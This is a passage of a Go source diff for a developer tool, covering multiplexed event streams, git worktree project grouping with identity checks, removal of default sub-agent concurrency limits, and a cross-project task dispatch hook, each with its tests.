if err := json.NewDecoder(resp.Body).Decode(&out); err != nil {
t.Fatal(err)
}
return out
}
// A pane that stopped receiving shows as behind, with the exact count of frames
// it is owed, while a pane the client has read to the end shows zero. That is
// the number that tells a frozen pane from an idle one.
func TestMuxMetricsSayWhichPaneIsBehindAndByHowMany(t *testing.T) {
h, rts, srv := muxHub(t, 2)
idle, stalled := rts[0], rts[1]
reader := openMux(t, srv)
reader.call(http.MethodPut, idle.ID, "")
idle.Events.Emit(notice("one"))
idle.Events.Emit(notice("two"))
for got := 0; got < 2; {
if f := reader.next(); f.Frame.Code != "" && f.Frame.Seq > 0 {
got++
}
}
c := h.muxes.open()
defer h.muxes.remove(c)
if !c.attach(stalled.Server, stalled.ID, stalled.Events.Watermark(), false) {
t.Fatal("attach refused")
}
for range 5 {
stalled.Events.Emit(notice("owed"))
}
deadline := time.Now().Add(3 * time.Second)
var m muxMetricsBody
for time.Now().Before(deadline) {
m = readMuxMetrics(t, srv.URL, reader.conn)
if len(m.Panes) == 1 && m.Panes[0].Behind == 0 && m.Panes[0].Sent >= 2 {
break
}
time.Sleep(20 * time.Millisecond)
}
if m.Conn != reader.conn || len(m.Panes) != 1 || m.Panes[0].Pane != idle.ID || m.Panes[0].Behind != 0 || m.Panes[0].LastSeq != m.Panes[0].Watermark {
t.Fatalf("a read-to-the-end pane reads %+v", m)
}
owed := c.metrics()
if len(owed.Panes) != 1 || owed.Panes[0].Behind != 5 || owed.Panes[0].Sent != 0 {
t.Fatalf("a pane nobody reads reads %+v, want 5 behind and nothing sent", owed)
}
}
func TestMuxMetricsRefuseAnUnknownConnectionWithItsCode(t *testing.T) {
_, _, srv := muxHub(t, 1)
resp, err := http.Get(srv.URL + "/events/mux/" + "00000000000000000000000000000000" + "/metrics")
if err != nil {
t.Fatal(err)
}
if got := muxRefusalCode(t, resp); got != codeMuxUnknownConn {
t.Fatalf("code = %q", got)
}
if resp.StatusCode != http.StatusNotFound {
t.Fatalf("status = %d, want 404", resp.StatusCode)
}
}
func muxRefusalCode(t *testing.T, resp *http.Response) string {
t.Helper()
defer resp.Body.Close()
var body struct {
Code string `json:"code"`
}
_ = json.NewDecoder(resp.Body).Decode(&body)
return body.Code
}
@@ -0,0 +1,106 @@
package serve
import (
"net/http"
"runtime"
"sync"
"testing"
"time"
)
// A hundred panes share one connection, each producing frames at once: every
// pane receives exactly its own frames, in order, none twice, and the metrics
// end with nothing owed. The per-pane budget a browser could never offer (one
// stream each) is the whole point of the multiplex, so the count is the test.
func TestMuxCarriesAHundredPanesOnOneConnection(t *testing.T) {
if testing.Short() {
t.Skip("soak")
}
const panes, frames = 100, 60
_, rts, srv := muxHub(t, panes)
c := openMux(t, srv)
for _, rt := range rts {
if code, body := c.call(http.MethodPut, rt.ID, ""); code != http.StatusNoContent {
t.Fatalf("attach %s = %d %s", rt.ID, code, body)
}
}
var wg sync.WaitGroup
for _, rt := range rts {
wg.Go(func() {
for range frames {
rt.Events.Emit(notice(rt.ID))
}
})
}
wg.Wait()
got := map[string][]int64{}
owed := panes * frames
deadline := time.After(30 * time.Second)
for owed > 0 {
select {
case f := <-c.frames:
if f.Frame.Code == "" || f.Frame.Seq == 0 {
continue
}
if f.Frame.Code != f.Pane {
t.Fatalf("pane %s received a frame produced by %s", f.Pane, f.Frame.Code)
}
got[f.Pane] = append(got[f.Pane], f.Frame.Seq)
owed--
case <-deadline:
t.Fatalf("%d of %d frames never arrived", owed, panes*frames)
}
}
for pane, seqs := range got {
if len(seqs) != frames {
t.Fatalf("pane %s received %d frames, want %d", pane, len(seqs), frames)
}
for i := 1; i < len(seqs); i++ {
if seqs[i] != seqs[i-1]+1 {
t.Fatalf("pane %s frames out of order or repeated: %d then %d", pane, seqs[i-1], seqs[i])
}
}
}
m := readMuxMetrics(t, srv.URL, c.conn)
if len(m.Panes) != panes {
t.Fatalf("metrics list %d panes, want %d", len(m.Panes), panes)
}
for _, p := range m.Panes {
if p.Behind != 0 || p.Sent < frames {
t.Fatalf("pane %s ends behind: %+v", p.Pane, p)
}
}
}
// Tearing the connection down after a hundred panes leaves no goroutine and no
// subscriber behind.
func TestMuxHundredPaneTeardownLeavesNothingRunning(t *testing.T) {
if testing.Short() {
t.Skip("soak")
}
_, rts, srv := muxHub(t, 100)
before, base := runtime.NumGoroutine(), 0
for _, rt := range rts {
base += rt.Events.Subscribers()
}
c := openMux(t, srv)
for _, rt := range rts {
c.call(http.MethodPut, rt.ID, "")
}
c.cancel()
deadline := time.Now().Add(10 * time.Second)
for time.Now().Before(deadline) {
subscribed := 0
for _, rt := range rts {
subscribed += rt.Events.Subscribers()
}
if subscribed == base && runtime.NumGoroutine() <= before+4 {
return
}
time.Sleep(50 * time.Millisecond)
}
t.Fatalf("after teardown: goroutines %d (before %d)", runtime.NumGoroutine(), before)
}
+11 -2
View File
@@ -33,7 +33,16 @@ func (h *Hub) registerOpenWithRoutes(mux *http.ServeMux) {
// openWithTargets lists the programs this machine can open a project in. Which
// programs exist is the kernel's table; the page only draws what it is told.
func (h *Hub) openWithTargets(w http.ResponseWriter, _ *http.Request) {
writeJSON(w, map[string]any{"targets": openWithList(LaunchWorkspaces())})
writeJSON(w, map[string]any{"targets": openWithList(h.openWithRoots())})
}
func (h *Hub) openWithRoots() []string {
refs := h.sessionRoots()
roots := make([]string, 0, len(refs))
for _, ref := range refs {
roots = append(roots, ref.dir)
}
return roots
}
// openWithProject starts one declared program on a project the window lists.
@@ -66,7 +75,7 @@ func (h *Hub) openWithProject(w http.ResponseWriter, r *http.Request) {
refuse(w, http.StatusNotFound, codeWorkspaceMissing, "the project folder is not on disk", nil)
return
}
name, err := openWithOpen(req.ID, abs, LaunchWorkspaces())
name, err := openWithOpen(req.ID, abs, h.openWithRoots())
switch {
case errors.Is(err, openwith.ErrUnknown):
refuse(w, http.StatusNotFound, codeOpenWithUnknown, "no such program in the list", nil)
@@ -0,0 +1,131 @@
package serve
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"slices"
"testing"
"reasonix/internal/base/testenv"
"reasonix/internal/platform/openwith"
)
func TestAddWorktreeReturnsTheSelectedCheckoutWhileGroupingItsProject(t *testing.T) {
root, copy := projectWithWorktree(t)
h := NewHub(HubOptions{})
srv := httptest.NewServer(operatorHandler(h))
defer srv.Close()
resp := postJSON(t, srv.URL+"/tree/workspaces", map[string]string{"path": copy})
defer resp.Body.Close()
var added treeWorkspace
if err := json.NewDecoder(resp.Body).Decode(&added); err != nil {
t.Fatal(err)
}
if resp.StatusCode != http.StatusOK || added.Root != copy {
t.Fatalf("the folder picker must open the selected checkout: status=%d, root=%q, want %q", resp.StatusCode, added.Root, copy)
}
rows := hubGet[[]treeWorkspace](t, srv, "/tree")
if len(rows) != 1 || rows[0].Root != root {
t.Fatalf("the selected checkout must still share its source project: %+v", rows)
}
}
func TestSourceAliasKeepsPhysicalSourceAndAliasHistoryInTheGroupedProject(t *testing.T) {
root, copy := projectWithWorktree(t)
alias := filepath.Join(testenv.TempDir(t), "source-alias")
if err := os.Symlink(root, alias); err != nil {
t.Skipf("directory symlinks unavailable: %v", err)
}
paths := []string{seedAged(t, root, 1)[0], seedAged(t, alias, 1)[0], seedAged(t, copy, 1)[0]}
rememberWorkspace(copy)
rememberWorkspace(alias)
h := NewHub(HubOptions{})
srv := httptest.NewServer(operatorHandler(h))
defer srv.Close()
rows := hubGet[[]treeWorkspace](t, srv, "/tree")
if len(rows) != 1 || rows[0].Root != alias || rows[0].Total != 3 {
t.Fatalf("choosing a source alias must not hide existing source history: %+v", rows)
}
for i, path := range paths {
at := slices.IndexFunc(rows[0].Sessions, func(row treeSession) bool { return row.Path == path })
if at < 0 {
t.Fatalf("missing session %s", path)
}
want := []string{root, alias, copy}[i]
if got, err := h.resolveRoot(OpenRequest{Root: alias, SessionPath: path}); err != nil || got != want {
t.Fatalf("session checkout = %q (%v), want %q", got, err, want)
}
resp := postExportSession(t, srv, path)
resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Fatalf("grouped session cannot be exported: %d", resp.StatusCode)
}
resp = postJSON(t, srv.URL+"/tree/sessions/rename", map[string]string{"path": path, "title": "renamed"})
resp.Body.Close()
if resp.StatusCode != http.StatusNoContent && resp.StatusCode != http.StatusOK {
t.Fatalf("grouped session cannot be renamed: %d", resp.StatusCode)
}
}
}
func TestOpenWithProtectsImplicitSourceCheckoutForBothDiscoveryAndLaunch(t *testing.T) {
root, copy := projectWithWorktree(t)
rememberWorkspace(copy)
calls := stubOpenWith(t, nil)
var discoveryRoots []string
openWithList = func(roots []string) []openwith.Status {
discoveryRoots = slices.Clone(roots)
return []openwith.Status{}
}
h := NewHub(HubOptions{})
rec := httptest.NewRecorder()
h.openWithTargets(rec, httptest.NewRequest(http.MethodGet, "/host/open-with", nil))
if !slices.Contains(discoveryRoots, root) || !slices.Contains(discoveryRoots, copy) {
t.Errorf("discovery may trust a program inside an implicit checkout: %v", discoveryRoots)
}
rec = postOpenWith(h, `{"id":"vscode","root":`+jsonString(root)+`}`, t.Context())
if rec.Code != http.StatusOK || len(*calls) != 1 {
t.Fatalf("cannot open grouped source: status=%d, calls=%+v", rec.Code, *calls)
}
if !slices.Contains((*calls)[0].forbidden, root) || !slices.Contains((*calls)[0].forbidden, copy) {
t.Fatalf("launch may trust a program inside an implicit checkout: %v", (*calls)[0].forbidden)
}
}
func TestGroupedProjectUsesExistingCheckoutWhenSourceFolderIsGone(t *testing.T) {
for _, subdir := range []bool{false, true} {
t.Run(map[bool]string{false: "repository moved", true: "selected source subfolder removed"}[subdir], func(t *testing.T) {
root, copy := projectWithWorktree(t)
if subdir {
root, copy = filepath.Join(root, "app"), filepath.Join(copy, "app")
for _, dir := range []string{root, copy} {
if err := os.MkdirAll(dir, 0o755); err != nil {
t.Fatal(err)
}
}
}
seedAged(t, root, 1)
seedAged(t, copy, 1)
rememberWorkspace(copy)
if err := os.RemoveAll(root); err != nil {
t.Fatal(err)
}
h := NewHub(HubOptions{})
srv := httptest.NewServer(operatorHandler(h))
defer srv.Close()
rows := hubGet[[]treeWorkspace](t, srv, "/tree")
if len(rows) != 1 || rows[0].Missing || rows[0].Root != copy {
t.Fatalf("the surviving checkout must remain usable: %+v", rows)
}
if got, err := h.resolveRoot(OpenRequest{Root: rows[0].Root}); err != nil || got != copy {
t.Fatalf("new conversation uses unavailable source: %q (%v)", got, err)
}
if subdir && rows[0].Total != 2 {
t.Fatalf("valid Git identity must retain both catalogs: %+v", rows[0])
}
})
}
}
+67 -8
View File
@@ -1,6 +1,9 @@
package serve
import (
"errors"
"net/http"
"os"
"path/filepath"
"slices"
"strings"
@@ -28,14 +31,18 @@ func groupWorkspaces(refs []rootRef) []workspaceProject {
out := []workspaceProject{}
index := map[string]int{}
aliases := map[string]string{}
sources := map[string]string{}
for _, ref := range refs {
if projectRoot(ref.dir) == ref.dir {
aliases[projectIdentity(ref.dir)] = ref.dir
source := projectRoot(ref.dir)
sources[ref.dir] = source
if source == ref.dir {
aliases[sessionstore.CanonicalSessionPath(source)] = ref.dir
}
}
for _, ref := range refs {
root := projectRoot(ref.dir)
identity := projectIdentity(root)
source := sources[ref.dir]
root := source
identity := sessionstore.CanonicalSessionPath(source)
if alias := aliases[identity]; alias != "" {
root = alias
}
@@ -47,13 +54,30 @@ func groupWorkspaces(refs []rootRef) []workspaceProject {
}
p := &out[at]
p.remembered = p.remembered || ref.remembered
if !slices.Contains(p.roots, ref.dir) {
p.roots = append(p.roots, ref.dir)
for _, dir := range []string{source, ref.dir} {
if !slices.Contains(p.roots, dir) {
p.roots = append(p.roots, dir)
}
}
}
for i := range out {
if !projectDirectoryExists(out[i].root) {
for _, root := range out[i].roots {
if projectDirectoryExists(root) {
out[i].root = root
break
}
}
}
}
return out
}
func projectDirectoryExists(root string) bool {
info, err := os.Stat(root)
return err == nil && info.IsDir()
}
func rememberedProjects(paths []string) []workspaceProject {
refs := make([]rootRef, 0, len(paths))
for _, path := range paths {
@@ -90,8 +114,10 @@ func orderWorkspaceMembers(paths, order []string) []string {
func (h *Hub) sessionRoots() []rootRef {
out := h.roots()
for _, p := range groupWorkspaces(out) {
if !slices.ContainsFunc(out, func(ref rootRef) bool { return ref.dir == p.root }) {
out = append(out, rootRef{dir: p.root, remembered: p.remembered})
for _, dir := range p.roots {
if !slices.ContainsFunc(out, func(ref rootRef) bool { return ref.dir == dir }) {
out = append(out, rootRef{dir: dir, remembered: p.remembered})
}
}
}
return out
@@ -110,3 +136,36 @@ func (h *Hub) listedSessionRoot(path, root string) string {
}
return ""
}
// resolveRoot decides which folder a new runtime opens against: the one asked
// for, the one that owns the session being opened, or the first runtime's.
func (h *Hub) resolveRoot(req OpenRequest) (string, error) {
if root := h.listedSessionRoot(req.SessionPath, req.Root); root != "" {
return resolveWorkspaceDir(root)
}
if root := strings.TrimSpace(req.Root); root != "" {
return resolveWorkspaceDir(root)
}
if path := strings.TrimSpace(req.SessionPath); path != "" {
if root := workspaceRootForSession(path); root != "" {
return root, nil
}
}
h.mu.RLock()
first := ""
if len(h.order) > 0 {
if rt := h.runtimes[h.order[0]]; rt != nil {
first = rt.Server.Controller().WorkspaceRoot()
}
}
h.mu.RUnlock()
if first != "" {
return first, nil
}
for _, dir := range LaunchWorkspaces() {
if projectDirectoryExists(dir) {
return dir, nil
}
}
return "", refusal(http.StatusConflict, "workspace.none", errors.New("no workspace to open in — add a folder first"), nil)
}
@@ -0,0 +1,47 @@
package serve
import (
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"time"
"reasonix/internal/contract/config"
)
func BenchmarkProjectTree100Roots(b *testing.B) {
home := b.TempDir()
b.Setenv("REASONIX_HOME", home)
b.Setenv("REASONIX_STATE_HOME", home)
roots := make([]string, 100)
for i := range roots {
roots[i] = filepath.Join(home, fmt.Sprintf("project-%03d", i))
if err := os.Mkdir(roots[i], 0o755); err != nil {
b.Fatal(err)
}
}
body, _ := json.Marshal(workspaceList{Paths: roots})
if err := os.WriteFile(filepath.Join(config.MemoryUserDir(), "serve-workspaces.json"), body, 0o644); err != nil {
b.Fatal(err)
}
h := NewHub(HubOptions{})
read := func() {
rec := httptest.NewRecorder()
h.tree(rec, httptest.NewRequest(http.MethodGet, "/tree", nil))
if rec.Code != http.StatusOK {
b.Fatalf("tree: %d", rec.Code)
}
}
start := time.Now()
read()
cold := time.Since(start)
b.ReportAllocs()
for b.Loop() {
read()
}
b.ReportMetric(float64(cold.Nanoseconds())/1e6, "first-ms")
}
+1 -2
View File
@@ -437,8 +437,7 @@ func (h *Hub) addWorkspace(w http.ResponseWriter, r *http.Request) {
}
return
}
root := projectRoot(dir)
writeJSON(w, treeWorkspace{Root: root, Name: fileutil.RootName(root), Sessions: []treeSession{}})
writeJSON(w, treeWorkspace{Root: dir, Name: fileutil.RootName(dir), Sessions: []treeSession{}})
}
// removeWorkspace drops a folder from the sidebar. Nothing on disk is touched —
+20 -13
View File
@@ -3,6 +3,7 @@ package worktree
import (
"os"
"path/filepath"
"strings"
"reasonix/internal/base/workspaceid"
)
@@ -17,20 +18,26 @@ func ProjectRoot(root, managedRoot string) string {
if info.RepoDir == "" || info.RepoDir == info.GitDir || filepath.Base(info.RepoDir) != ".git" {
return root
}
abs, err := filepath.Abs(root)
if err != nil {
managed, err := filepath.EvalSymlinks(managedRoot)
if err != nil || !IsManagedPath(info.CheckoutRoot, managed) || !filepath.IsLocal(info.Prefix) || !registeredCheckout(info) {
return root
}
for dir := abs; ; dir = filepath.Dir(dir) {
if _, err := os.Lstat(filepath.Join(dir, ".git")); err == nil {
rel, err := filepath.Rel(dir, abs)
if err != nil {
return root
}
return filepath.Join(filepath.Dir(info.RepoDir), rel)
}
if filepath.Dir(dir) == dir {
return root
}
return filepath.Join(filepath.Dir(info.RepoDir), info.Prefix)
}
func registeredCheckout(info workspaceid.Info) bool {
body, err := os.ReadFile(filepath.Join(info.GitDir, "gitdir"))
if err != nil || strings.TrimSpace(string(body)) == "" {
return false
}
backlink := strings.TrimSpace(string(body))
if !filepath.IsAbs(backlink) {
backlink = filepath.Join(info.GitDir, backlink)
}
marker, err := filepath.EvalSymlinks(backlink)
if err != nil || filepath.Base(marker) != ".git" {
return false
}
rel, err := filepath.Rel(info.CheckoutRoot, filepath.Dir(marker))
return err == nil && rel == "."
}
@@ -6,6 +6,7 @@ import (
"testing"
"reasonix/internal/base/testenv"
"reasonix/internal/base/workspaceid"
)
func TestProjectRootUsesGitIdentityAndPreservesSelectedSubdirectory(t *testing.T) {
@@ -44,3 +45,50 @@ func TestProjectRootUsesGitIdentityAndPreservesSelectedSubdirectory(t *testing.T
t.Errorf("an unreadable identity must retain its directory: %s", got)
}
}
func TestProjectRootRejectsCopiedAndMissingWorktreeRegistration(t *testing.T) {
requireGit(t)
repo, managed := initRepo(t), testenv.TempDir(t)
result, err := Create(t.Context(), opened(t, repo), managed)
if err != nil {
t.Fatal(err)
}
marker, err := os.ReadFile(filepath.Join(result.WorktreeRoot, ".git"))
if err != nil {
t.Fatal(err)
}
copy := filepath.Join(managed, "restored", "project")
if err := os.MkdirAll(copy, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(copy, ".git"), marker, 0o644); err != nil {
t.Fatal(err)
}
if got := ProjectRoot(copy, managed); got != copy {
t.Errorf("copied Git metadata borrowed another checkout's identity: %s", got)
}
info := workspaceid.Describe(result.WorktreeRoot)
if err := os.Remove(filepath.Join(info.GitDir, "gitdir")); err != nil {
t.Fatal(err)
}
if got := ProjectRoot(result.WorkspaceRoot, managed); got != result.WorkspaceRoot {
t.Errorf("missing worktree registration must retain its own project: %s", got)
}
}
func TestProjectRootDoesNotBorrowRepositoryOutsideManagedStorage(t *testing.T) {
requireGit(t)
repo, managed := initRepo(t), testenv.TempDir(t)
result, err := Create(t.Context(), opened(t, repo), managed)
if err != nil {
t.Fatal(err)
}
nestedManaged := filepath.Join(result.WorktreeRoot, "other-worktrees")
root := filepath.Join(nestedManaged, "unregistered")
if err := os.MkdirAll(root, 0o755); err != nil {
t.Fatal(err)
}
if got := ProjectRoot(root, nestedManaged); got != root {
t.Fatalf("a Git marker outside managed storage claimed the folder: %s", got)
}
}
+13
View File
@@ -217,6 +217,19 @@ func NormalizeMaxSubagentDepth(depth int) int {
return depth
}
// UnlimitedSubagentDepth is the depth a user who set max_subagent_depth to 0
// asked for: no layer count stops delegation, only cost does.
const UnlimitedSubagentDepth = 1 << 20
// SubagentDepthFromConfig reads the user's max_subagent_depth: 0 removes the
// limit, a negative value reads as the single-layer boundary.
func SubagentDepthFromConfig(depth int) int {
if depth == 0 {
return UnlimitedSubagentDepth
}
return NormalizeMaxSubagentDepth(depth)
}
// ToolHooks fires user-configured shell hooks around each tool call. PreToolUse
// runs before the call and may block it (block=true; message is the reason fed
// back to the model); PostToolUse runs after and only surfaces output to the
@@ -0,0 +1,16 @@
package agent
import "testing"
// The config value 0 removes the stop; a negative one is the single-layer
// boundary; a positive one is read as written.
func TestSubagentDepthFromConfig(t *testing.T) {
for in, want := range map[int]int{0: UnlimitedSubagentDepth, -2: 1, 1: 1, 8: 8, 30: 30} {
if got := SubagentDepthFromConfig(in); got != want {
t.Errorf("max_subagent_depth %d -> %d, want %d", in, got, want)
}
}
if NormalizeMaxSubagentDepth(SubagentDepthFromConfig(0)) != UnlimitedSubagentDepth {
t.Error("normalizing the unlimited depth changed it")
}
}
+1 -1
View File
@@ -52,7 +52,7 @@ const subagentToolBoundarySummary = "Recursive agent/skill tools are exposed onl
// maxConcurrentBackgroundTasks is the legacy writer-background fallback used
// only when a TaskTool has no session scheduler (tests). Production boots
// inject MaxParallelWriters via SubagentScheduler.
const maxConcurrentBackgroundTasks = writeclaim.DefaultMaxParallelWriters
const maxConcurrentBackgroundTasks = 3
// TaskTool spawns a sub-agent in its own session for a focused sub-task. The
// sub-agent runs with a filtered tool whitelist and the same step budget shape
+4 -4
View File
@@ -94,7 +94,7 @@ func NewSubagentScheduler(maxTotal, maxWriters int) *SubagentScheduler {
return &SubagentScheduler{maxTotal: maxTotal, maxWriters: maxWriters}
}
// Limits returns the effective total/writer caps.
// Limits returns the effective total/writer caps; zero is no limit.
// Queued is how many acquires are waiting for a slot.
func (s *SubagentScheduler) Queued() int {
s.mu.Lock()
@@ -104,7 +104,7 @@ func (s *SubagentScheduler) Queued() int {
func (s *SubagentScheduler) Limits() (total, writers int) {
if s == nil {
return DefaultMaxSubagentConcurrency, DefaultMaxParallelWriters
return 0, 0
}
return s.maxTotal, s.maxWriters
}
@@ -279,13 +279,13 @@ const parentWriteLabel = "the main agent's write in progress"
// them are answered by a setting and the third only by a path or an edge, and a
// reader cannot tell those apart from "queued".
func (s *SubagentScheduler) canStartLocked(req AcquireRequest) (bool, Held) {
if s.activeTotal >= s.maxTotal {
if s.maxTotal > 0 && s.activeTotal >= s.maxTotal {
return false, Held{Cause: agentgraph.WaitSlots}
}
if !req.Writer {
return true, Held{}
}
if s.activeWriters >= s.maxWriters {
if s.maxWriters > 0 && s.activeWriters >= s.maxWriters {
return false, Held{Cause: agentgraph.WaitWriters}
}
for _, active := range slices.Concat(s.activeClaims, s.parentClaims) {
+6 -27
View File
@@ -11,17 +11,6 @@ import (
"reasonix/internal/base/fileutil"
)
// DefaultMaxSubagentConcurrency is the session-wide sub-agent concurrency
// default (task, fleet items, profile skills, nested children).
const DefaultMaxSubagentConcurrency = 6
// DefaultMaxParallelWriters is the default cap on concurrent writer-capable
// sub-agents that declare non-overlapping write_paths.
const DefaultMaxParallelWriters = 3
// MaxSubagentConcurrencyLimit is the upper bound for both concurrency knobs.
const MaxSubagentConcurrencyLimit = 32
// WritePathSet is a normalized claim over workspace paths a sub-agent may write.
// An Optimistic claim is scoped to the workspace for audit and bash, but each
// write holds only its own path while it executes.
@@ -43,23 +32,13 @@ func (s WritePathSet) Empty() bool {
return !s.WholeWorkspace && len(s.Paths) == 0
}
// NormalizeConcurrencyLimits clamps total/writer limits into the public range
// 1–32 and ensures writers never exceed total. Zero inputs become defaults so
// old configs stay at 6/3 without migration.
// NormalizeConcurrencyLimits reads the two user settings. Zero is no limit, the
// default: the claims on write paths, not a count, are what keep writers from
// colliding. A negative value reads as none, and a writer limit above a set total
// is brought down to it, since a writer is also a sub-agent.
func NormalizeConcurrencyLimits(total, writers int) (int, int) {
if total <= 0 {
total = DefaultMaxSubagentConcurrency
}
if writers <= 0 {
writers = DefaultMaxParallelWriters
}
if total > MaxSubagentConcurrencyLimit {
total = MaxSubagentConcurrencyLimit
}
if writers > MaxSubagentConcurrencyLimit {
writers = MaxSubagentConcurrencyLimit
}
if writers > total {
total, writers = max(total, 0), max(writers, 0)
if total > 0 && writers > total {
writers = total
}
return total, writers
@@ -1,6 +1,7 @@
package writeclaim
import (
"context"
"errors"
"os"
"path/filepath"
@@ -11,10 +12,10 @@ import (
"reasonix/internal/base/testenv"
)
func TestNormalizeConcurrencyLimitsDefaults(t *testing.T) {
func TestNormalizeConcurrencyLimitsZeroIsNoLimit(t *testing.T) {
total, writers := NormalizeConcurrencyLimits(0, 0)
if total != DefaultMaxSubagentConcurrency || writers != DefaultMaxParallelWriters {
t.Fatalf("got %d/%d, want %d/%d", total, writers, DefaultMaxSubagentConcurrency, DefaultMaxParallelWriters)
if total != 0 || writers != 0 {
t.Fatalf("got %d/%d, want 0/0 (no limit)", total, writers)
}
total, writers = NormalizeConcurrencyLimits(10, 10)
if total != 10 || writers != 10 {
@@ -22,11 +23,36 @@ func TestNormalizeConcurrencyLimitsDefaults(t *testing.T) {
}
total, writers = NormalizeConcurrencyLimits(4, 10)
if total != 4 || writers != 4 {
t.Fatalf("writers must not exceed total: got %d/%d", total, writers)
t.Fatalf("writers must not exceed a set total: got %d/%d", total, writers)
}
total, writers = NormalizeConcurrencyLimits(0, 7)
if total != 0 || writers != 7 {
t.Fatalf("a writer limit with no total limit must stand: got %d/%d", total, writers)
}
total, writers = NormalizeConcurrencyLimits(100, 50)
if total != MaxSubagentConcurrencyLimit || writers != MaxSubagentConcurrencyLimit {
t.Fatalf("clamp: got %d/%d", total, writers)
if total != 100 || writers != 50 {
t.Fatalf("a large limit the user chose must not be clamped: got %d/%d", total, writers)
}
total, writers = NormalizeConcurrencyLimits(-3, -1)
if total != 0 || writers != 0 {
t.Fatalf("negative values read as no limit: got %d/%d", total, writers)
}
}
// With no limit set, work that touches different paths all starts at once.
func TestAnUnlimitedSchedulerStartsEveryDisjointWriterAtOnce(t *testing.T) {
root := testenv.TempDir(t)
s := NewSubagentScheduler(0, 0)
for i := range 40 {
set, err := NormalizeWritePaths(root, []string{filepath.Join(root, "p", string(rune('a'+i%26))+string(rune('a'+i/26)))})
if err != nil {
t.Fatal(err)
}
release, err := s.Acquire(context.Background(), AcquireRequest{Writer: true, WritePaths: set, Nested: true})
if err != nil {
t.Fatalf("writer %d was held back with no limit set: %v", i+1, err)
}
defer release()
}
}
+5
View File
@@ -59,6 +59,11 @@ func Subjects(args json.RawMessage) []string {
// the person approving reads what would leave this session.
return []string{to + ": " + text}
}
if project, text := stringArg(m, "project"), stringArg(m, "text"); project != "" && text != "" {
// A task handed to a session in another project: where it goes and every
// word of it, for the same reason as a message to another session.
return []string{project + ": " + text}
}
if server, uri := stringArg(m, "server"), stringArg(m, "uri"); server != "" && uri != "" {
// A resource read from an MCP server: the whole address, in the form
// the chat's @server:uri reference uses, so it is judged as written.
@@ -65,3 +65,21 @@ func TestSubjectServerAndURIPairYieldsToACommandAndNeedsText(t *testing.T) {
}
}
}
// A task dispatched to another project shows the project and the whole text on
// the card, like a message to another session; half a pair names nothing, and a
// command still wins.
func TestSubjectOfADispatchIsProjectAndWholeText(t *testing.T) {
got := Subject(json.RawMessage(`{"project":"billing","text":"rotate the key, then email [email protected]"}`))
if got != "billing: rotate the key, then email [email protected]" {
t.Fatalf("subject = %q", got)
}
for _, args := range []string{`{"project":"billing"}`, `{"text":"hello"}`, `{"project":"","text":"x"}`, `{"project":1,"text":"x"}`} {
if got := Subject(json.RawMessage(args)); got != "" {
t.Errorf("%s produced subject %q", args, got)
}
}
if got := Subject(json.RawMessage(`{"command":"ls","project":"a","text":"b"}`)); got != "ls" {
t.Errorf("a command lost to the pair: %q", got)
}
}
@@ -121,6 +121,9 @@ type controllerDeps struct {
// stalls an approval or status poll on c.mu. See goal.go.
goals goalMachine
// dispatch is the state behind the cross-project dispatch tool; see peer_dispatch.go.
dispatch dispatchState
// goalRetry is the unattended retry of an evaluator pause; see goal_retry.go.
goalRetry goalRetry
// awaitResume is the unattended wait behind an await_user gate; see await_resume.go.
+94
View File
@@ -0,0 +1,94 @@
package control
import (
"context"
"errors"
"sync/atomic"
"reasonix/internal/contract/config"
"reasonix/internal/contract/tool"
)
// Each is an identity the dispatch tool reports; none is matched by its words.
var (
ErrDispatchUnavailable = errors.New("this session cannot open sessions in other projects")
ErrDispatchUnknownProject = errors.New("no project of yours answers to that name")
ErrDispatchAmbiguous = errors.New("more than one project answers to that name")
ErrDispatchNested = errors.New("a session opened by a dispatch cannot dispatch further")
ErrDispatchUntrusted = errors.New("that project is not one you have trusted")
ErrDispatchFailed = errors.New("could not open a session in that project")
)
// DispatchResult is what a dispatch hands back: where the task went.
type DispatchResult struct {
Project string
Key string
ID string
}
// ProjectDispatcher opens, or reuses, a session in another project of the user
// and writes the task into it. The host that owns the panes supplies it.
type ProjectDispatcher func(ctx context.Context, project, text string) (DispatchResult, error)
// dispatchState is the controller's side of cross-project dispatch.
type dispatchState struct {
hook atomic.Pointer[ProjectDispatcher]
nested atomic.Bool
}
// SetProjectDispatcher gives the dispatch tool somewhere to go; a controller
// without one (a terminal session, a test) answers ErrDispatchUnavailable.
func (c *Controller) SetProjectDispatcher(d ProjectDispatcher) {
if d == nil {
c.dispatch.hook.Store(nil)
return
}
c.dispatch.hook.Store(&d)
}
// MarkOpenedByDispatch records that another session opened this one to hand it
// a task. Such a session cannot dispatch in turn, which bounds the fan-out at
// one level.
func (c *Controller) MarkOpenedByDispatch() { c.dispatch.nested.Store(true) }
// OpenedByDispatch reports whether MarkOpenedByDispatch was called.
func (c *Controller) OpenedByDispatch() bool { return c.dispatch.nested.Load() }
// PeerKey is the address other sessions write to this one at, empty until the
// session has a file.
func (c *Controller) PeerKey() string {
p := c.peers
if p == nil {
return ""
}
p.mu.Lock()
defer p.mu.Unlock()
return p.key
}
// DispatchToProject hands a task to a session in another of the user's projects.
func (c *Controller) DispatchToProject(ctx context.Context, project, text string) (DispatchResult, error) {
if !config.LoadForEdit(config.UserConfigPath()).PeersDispatch() {
return DispatchResult{}, ErrDispatchUnavailable
}
if c.OpenedByDispatch() {
return DispatchResult{}, ErrDispatchNested
}
hook := c.dispatch.hook.Load()
if hook == nil {
return DispatchResult{}, ErrDispatchUnavailable
}
return (*hook)(ctx, project, text)
}
func (d peerDirectory) DispatchToProject(ctx context.Context, project, text string) (tool.DispatchReceipt, error) {
r, err := d.c.DispatchToProject(ctx, project, text)
if err != nil {
return tool.DispatchReceipt{}, fmtPeerError(err)
}
return tool.DispatchReceipt{Project: r.Project, Key: r.Key, ID: r.ID}, nil
}
// RefreshPeers reads this session's spool now rather than at the next tick, so
// a message just sent to it can be seen at once.
func (c *Controller) RefreshPeers() { c.peerIngest() }
+26
View File
@@ -15,6 +15,7 @@ import (
"time"
"unicode"
"reasonix/internal/contract/config"
"reasonix/internal/contract/tool"
"reasonix/internal/state/peermail"
"reasonix/internal/state/sessioninbox"
@@ -214,6 +215,7 @@ func (c *Controller) peerIngest() {
fresh = append(fresh, m)
}
var audits []peermail.AuditRecord
var newlyHeld []string
p.mu.Lock()
if p.key != key {
p.mu.Unlock()
